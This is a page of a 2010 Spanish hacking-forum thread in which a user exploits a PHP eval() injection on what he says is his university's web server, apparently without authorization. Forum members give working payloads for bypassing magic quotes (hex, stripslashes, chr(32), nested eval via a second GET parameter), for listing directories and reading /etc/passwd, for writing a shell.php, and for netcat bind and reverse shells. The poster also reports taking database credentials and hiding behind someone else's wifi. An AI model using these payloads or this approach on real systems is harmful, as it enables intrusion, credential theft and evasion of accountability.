elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
28 Mayo 2012, 05:51  


Tema destacado: Únete al Grupo Steam elhacker.NET

+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits
| | |-+  Nivel Web (Moderadores: sirdarckcat, WHK)
| | | |-+  Php injection
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] 2 3 Ir Abajo Respuesta Imprimir
Autor Tema: Php injection  (Leído 6,215 veces)
tragantras


Desconectado Desconectado

Mensajes: 466


Ver Perfil
Php injection
« en: 23 Febrero 2010, 00:38 »

Huuula, bueno, dada la pericia de los peogramadores de mi facultad, e descubierto una vulnerabilidad de tipo php injeciton, mediante un eval($_GET["x"]);

si...son así de habiles allí.... ell caso, esk que para continuar con su nivel tiene actividas las magic quotes con lo que no puedo ahcer por ejemplo     ?x=system("ls -la");       porque me escapa las comillas...

de hecho estoy muy limitado en el uso de comandos puesto que la funcion system recibe una cadena y tal y cual. Por favor sugerencias? algun tipo de bypassing?


Gracias por adelantado :)

pD: tambien me serían útiles algunos comandos (linux) que puedan ser escritos en una sola palabra, es decir sin espacios :)
« Última modificación: 23 Febrero 2010, 01:00 por tragantras » En línea

Colaboraciones:
1 2
Castg!
Wiki

Desconectado Desconectado

Mensajes: 1.187



Ver Perfil WWW
Re: Php injection
« Respuesta #1 en: 23 Febrero 2010, 02:50 »

proba con hexadecimal, si queres hacer un cat a /etc/passwd haces asi:

x = system((0x636174202f6574632f706173737764));

creo q tal vez podria servir...
En línea

WHK
吴阿卡
Moderador
***
Desconectado Desconectado

Mensajes: 4.113


The Hacktivism is not a crime


Ver Perfil WWW
Re: Php injection
« Respuesta #2 en: 23 Febrero 2010, 06:05 »

que tal si pones:
Código
eval(stripslashses($_GET["x"]));
En línea

Mi foro Ultra Off-Topics: http://whk.drawcoders.com/foro/

Gracias a todos! Good bye!
tragantras


Desconectado Desconectado

Mensajes: 466


Ver Perfil
Re: Php injection
« Respuesta #3 en: 23 Febrero 2010, 08:42 »

  • He probado con el método de conversion a hexadecimal... y no me funciona, por si acaso probé a poner tan solo system(ls) que en hexa queda system(0x6c73)  pero ni sikiera así me dejó, estás seguro que se puede incluir hexadecimal en la llamada a la funcion system?
  • Tambien e probado con el stripslashes pero no me funcionó, no se si me estoy confundiendo en la manera en que se aplica... ;system(stripslashes("ls -la"))   , eso es lo que puse, teniendo en cuenta que si pongo solo ;system(ls)  funciona bien  ( es decir, el punto y coma del final t lo añade el código )


no se si son errores mios, o proteccion de la web, en cualkier caso muchas gracias por ayudarme y apreciaría si pudieseis seguir haciendolo, un saludo :)

pD:  
Código:
eval("echo PERICO_".$_GET["x"].";");
ese es el código fatídico, lo pongo por si sirve de algo xD


EDITO:

He conseguido hacer un "apaño", el tema de las comillas quedó solucionado usando stripslashes como dijo whk, pero apareció un nuevo inconveniente, no podia insertar espacios, así que use la funcion chr()
en concreto, chr(32) para insertar el espacio... El problema viene ahora, se ve que no tengo privilegios suficientes ni sikiera para moverme por directorios...(obviamente tampoico para crear archivos :$ ), no se porque cuando realizo system(cat index.php) por ejemplo, en vez de mostrarme el código es como que se "inserta", pero solo el codigo html... es decir como si bajasemos el index.php con "guardar como"...

no se me ocurre nada más, dado que no puedo escribir en el directorio en el que se encuentra...alguna sugerencia? :)
« Última modificación: 23 Febrero 2010, 12:59 por tragantras » En línea

Colaboraciones:
1 2
braulio--
Wiki

Desconectado Desconectado

Mensajes: 889


Imagen recursiva


Ver Perfil WWW
Re: Php injection
« Respuesta #4 en: 23 Febrero 2010, 13:03 »

  • He probado con el método de conversion a hexadecimal... y no me funciona, por si acaso probé a poner tan solo system(ls) que en hexa queda system(0x6c73)  pero ni sikiera así me dejó, estás seguro que se puede incluir hexadecimal en la llamada a la funcion system?
  • Tambien e probado con el stripslashes pero no me funcionó, no se si me estoy confundiendo en la manera en que se aplica... ;system(stripslashes("ls -la"))   , eso es lo que puse, teniendo en cuenta que si pongo solo ;system(ls)  funciona bien  ( es decir, el punto y coma del final t lo añade el código )


no se si son errores mios, o proteccion de la web, en cualkier caso muchas gracias por ayudarme y apreciaría si pudieseis seguir haciendolo, un saludo :)

pD: 
Código:
eval("echo PERICO_".$_GET["x"].";");
ese es el código fatídico, lo pongo por si sirve de algo xD


EDITO:

He conseguido hacer un "apaño", el tema de las comillas quedó solucionado usando stripslashes como dijo whk, pero apareció un nuevo inconveniente, no podia insertar espacios, así que use la funcion chr()
en concreto, chr(32) para insertar el espacio... El problema viene ahora, se ve que no tengo privilegios suficientes ni sikiera para moverme por directorios...(obviamente tampoico para crear archivos :$ ), no se porque cuando realizo system(cat index.php) por ejemplo, en vez de mostrarme el código es como que se "inserta", pero solo el codigo html... es decir como si bajasemos el index.php con "guardar como"...

no se me ocurre nada más, dado que no puedo escribir en el directorio en el que se encuentra...alguna sugerencia? :)

Dale a ver código fuente y probablemente el coódigo php se visualice como si fueran comentarios html.
Esto pasa porque el navegador lo que está reconociendo es html y entonces si le pasas información con html pues la parsea.
En línea

tragantras


Desconectado Desconectado

Mensajes: 466


Ver Perfil
Re: Php injection
« Respuesta #5 en: 23 Febrero 2010, 14:16 »

veis pq amo tanto esta comunidad... jajaja gracias braulio :)

alguien me sabría decir como podria escribir en un php? es que he descubierto un directorio en el cual se puede escribir, habia pensado en ( pero no me va eh xD ) :


Código:
x?3;stripslashes(system('echo.chr(32).a>pagina')

es decir -> echo a > pagina       ( como ejemplo, m refiero )

la idea es.. obviamente hacer una shell algo más facilita, pq me estoy rompiendo la cabeza :)
En línea

Colaboraciones:
1 2
braulio--
Wiki

Desconectado Desconectado

Mensajes: 889


Imagen recursiva


Ver Perfil WWW
Re: Php injection
« Respuesta #6 en: 23 Febrero 2010, 14:26 »

Podrías hacerlo directamente desde php , pero creo que es mas fácil así :
Código:
system("echo".chr(32)."loquequierasescribir".chr(32).">shell.php");
. es el símbolo de concatenación de cadenas, supongo que sabes php.
En línea

tragantras


Desconectado Desconectado

Mensajes: 466


Ver Perfil
Re: Php injection
« Respuesta #7 en: 23 Febrero 2010, 15:26 »

Podrías hacerlo directamente desde php , pero creo que es mas fácil así :
Código:
system("echo".chr(32)."loquequierasescribir".chr(32).">shell.php");
. es el símbolo de concatenación de cadenas, supongo que sabes php.


si si, algo de php si que se, el asunto es que como están activadas las magic quotes (como puse arriba), no me deja más que insertar comillas simples mediante el stripslashes y no funciona bien... ciertamente no lo entiendo, por que por ejemplo si que puedo poner   system(ls.chr(32).chr(45).la) quedando
ls -la  si que funciona, pero sin embargo si pong system(echo.chr(32).a)  (echo a) por ejemplo, que debería mostrarmelo por pantalla, no suelta nada... y no termino de cogerlo...

EDITO:

hmmm 
Código
a;stripslashes(system('echo'.chr(32).'cosa>a.txt'))
así si que me deja, bueno un saludo y sigo a la escucha de posibles opciones de explotación (gracias de nuevo braulio)

PD: edito por si a alguien le interesa seguir la evolucion de un newbie xDD
« Última modificación: 23 Febrero 2010, 15:31 por tragantras » En línea

Colaboraciones:
1 2
WHK
吴阿卡
Moderador
***
Desconectado Desconectado

Mensajes: 4.113


The Hacktivism is not a crime


Ver Perfil WWW
Re: Php injection
« Respuesta #8 en: 23 Febrero 2010, 17:14 »

nopo, esque de nada sirve ejecutar eval(stripslashses(system('ls -la'))) porque quedaría eval(stripslashses(system(\'ls -la\'))) , por eso debes ejecutarlo en la variable get:
Código:
eval(stripslashses($_GET[x]))
y fijate que va sin comillas, ahora ejecutas index.php?x=system('ls -la'); exit;
En línea

Mi foro Ultra Off-Topics: http://whk.drawcoders.com/foro/

Gracias a todos! Good bye!
tragantras


Desconectado Desconectado

Mensajes: 466


Ver Perfil
Re: Php injection
« Respuesta #9 en: 23 Febrero 2010, 21:16 »

nopo, esque de nada sirve ejecutar eval(stripslashses(system('ls -la'))) porque quedaría eval(stripslashses(system(\'ls -la\'))) , por eso debes ejecutarlo en la variable get:
Código:
eval(stripslashses($_GET[x]))
y fijate que va sin comillas, ahora ejecutas index.php?x=system('ls -la'); exit;


hmmm jaja pero quizá no m expliqué bien, el código obviamente no lo puedo modificar yo... es un servidor web, tan solo puedo explotar dicha vuln :S
En línea

Colaboraciones:
1 2
WHK
吴阿卡
Moderador
***
Desconectado Desconectado

Mensajes: 4.113


The Hacktivism is not a crime


Ver Perfil WWW
Re: Php injection
« Respuesta #10 en: 23 Febrero 2010, 21:37 »

ah en ese caso puedes hacer un
index.php?x=eval(stripslashses($_GET[z]));&z=echo 'x';exit;

de esta forma desde la variable x le das un nuevo eval y stripslashses y fijate que no ingresamos ninguna comilla, luego desde una segunda variable le inyectamos a todo dar :P
En línea

Mi foro Ultra Off-Topics: http://whk.drawcoders.com/foro/

Gracias a todos! Good bye!
Azielito
no es
CoAdmin
***
Desconectado Desconectado

Mensajes: 9.114


>.<


Ver Perfil WWW
Re: Php injection
« Respuesta #11 en: 23 Febrero 2010, 21:45 »

no sé si te funcione aya, pero a mi me dio resultado

Código
urldecode(system%28%27dir%27%29);

pasando eso por get, no se como lo modifique el foro, hice esto
Código
echo urlencode("system('dir')");

ya me platicaras

PD: dice "dir" por que estoy en windows ¬¬ y que? :xD!!!
« Última modificación: 23 Febrero 2010, 21:46 por Azielito » En línea

Castg!
Wiki

Desconectado Desconectado

Mensajes: 1.187



Ver Perfil WWW
Re: Php injection
« Respuesta #12 en: 24 Febrero 2010, 00:23 »

jsajajaja pero dir sirve para igual en windows que en linux...
En línea

WHK
吴阿卡
Moderador
***
Desconectado Desconectado

Mensajes: 4.113


The Hacktivism is not a crime


Ver Perfil WWW
Re: Php injection
« Respuesta #13 en: 24 Febrero 2010, 02:16 »

mejor
print_r(glob('*'));
print_r(glob('/temp/*'));
print_r(glob('/*'));
print_r(glob('/etc/*'));

despues lees con file
print_r(file('/etc/passwd'));
En línea

Mi foro Ultra Off-Topics: http://whk.drawcoders.com/foro/

Gracias a todos! Good bye!
tragantras


Desconectado Desconectado

Mensajes: 466


Ver Perfil
Re: Php injection
« Respuesta #14 en: 24 Febrero 2010, 12:29 »

gracias por contestar de nuevo =)

WHK

no puedo usar los print_r porque requieren cadenas, y como dije al principio están activados los magic_quotes así que no se muy bien como realizar esas operaciones, intenté con chr(39), que viene siendo la comilla simple, pero no procesa bien de esa manera...

recuerdo que el código vulnerable es el siguiente
Código
eval("echo PERICO_".$_GET["x"].";");

Azielito

Ya especifiqué que el codigo no puedo modificarlo yo... se trata de una vulnerabildad, no es un foro, es una web de servicios, sin más


All

Dado que puedo lanzar system() exec() passthru() etc... se me había ocurrido lanzar un
Código
nc -l -p 4444 -c /bin/shell
o una inversa
Código
nc IP 4444 -c /bin/shell
pero he tenido algunos problemas haciendo una prueba local, se ve que mi router no hace correctamente la traduccion de IPs privadas a Publicas ( NAT ) asi que..., y tampoco me quiero arriesgar a dejarlo a la escucha en el servidor, que eso es facilmente detectable, además se registraría mi ip... ( que por otra parte...tampoco es mia, es una wifi de por ahi xD )

He obtenido los datos de la conexion de la base de datos, hay una mysql y una oracle, pero... el firewall está configurado para tan solo aceptar peticiones desde dentro... así que por eso me es tan importante instalar una shell dentro.


PD: no se si esto está tomando tintes para estar en el tema de hacking general... pero como aun tengo que pasar funciones mediante el eval() y el system() de php, pienso que aun tiene cabida aquí


Un saludo y gracias ^^

En línea

Colaboraciones:
1 2
Páginas: [1] 2 3 Ir Arriba Respuesta Imprimir 

Ir a:  
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines